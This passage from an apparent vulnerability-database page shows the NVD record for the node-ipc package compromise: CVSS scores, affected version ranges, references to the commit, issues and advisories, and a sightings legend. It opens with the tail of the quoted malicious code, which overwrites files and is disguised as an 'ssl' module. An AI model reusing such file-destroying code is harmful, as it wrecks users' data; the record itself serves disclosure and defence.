c.toString(\\\"utf8\\\"), function () {}); // sobrescribe el archivo con ? } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"report@snyk.io\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":9.8,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":5.9},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":9.8,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":5.9}],\"cvssMetricV2\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"2.0\",\"vectorString\":\"AV:N/AC:L/Au:N/C:C/I:C/A:C\",\"baseScore\":10.0,\"accessVector\":\"NETWORK\",\"accessComplexity\":\"LOW\",\"authentication\":\"NONE\",\"confidentialityImpact\":\"COMPLETE\",\"integrityImpact\":\"COMPLETE\",\"availabilityImpact\":\"COMPLETE\"},\"baseSeverity\":\"HIGH\",\"exploitabilityScore\":10.0,\"impactScore\":10.0,\"acInsufInfo\":false,\"obtainAllPrivilege\":false,\"obtainUserPrivilege\":false,\"obtainOtherPrivilege\":false,\"userInteractionRequired\":false}]},\"weaknesses\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"NVD-CWE-Other\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:*\",\"versionStartIncluding\":\"10.1.1\",\"versionEndExcluding\":\"10.1.3\",\"matchCriteriaId\":\"4F3B6107-F149-4B50-BAC6-50D3C2415E86\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:*\",\"versionStartIncluding\":\"11.0.0\",\"matchCriteriaId\":\"F22A4ABE-8648-4D7F-BA81-AE9EF9918227\"}]}]}],\"references\":[{\"url\":\"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js\",\"source\":\"report@snyk.io\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580\",\"source\":\"report@snyk.io\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/RIAEvangelist/node-ipc/issues/233\",\"source\":\"report@snyk.io\",\"tags\":[\"Issue Tracking\",\"Patch\",\"Third Party Advisory\"]},{\"url\":\"https://github.com/RIAEvangelist/node-ipc/issues/236\",\"source\":\"report@snyk.io\",\"tags\":[\"Issue Tracking\",\"Patch\",\"Third Party Advisory\"]},{\"url\":\"https://security.netapp.com/advisory/ntap-20220407-0005/\",\"source\":\"report@snyk.io\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370\",\"source\":\"report@snyk.io\",\"tags\":[\"Exploit\",\"Patch\",\"Third Party Advisory\"]},{\"url\":\"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/RIAEvangelist/node-ipc/issues/233\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Issue Tracking\",\"Patch\",\"Third Party Advisory\"]},{\"url\":\"https://github.com/RIAEvangelist/node-ipc/issues/236\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Issue Tracking\",\"Patch\",\"Third Party Advisory\"]},{\"url\":\"https://security.netapp.com/advisory/ntap-20220407-0005/\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Third Party Advisory\"]},{\"url\":\"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Exploit\",\"Patch\",\"Third Party Advisory\"]}]}}"
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…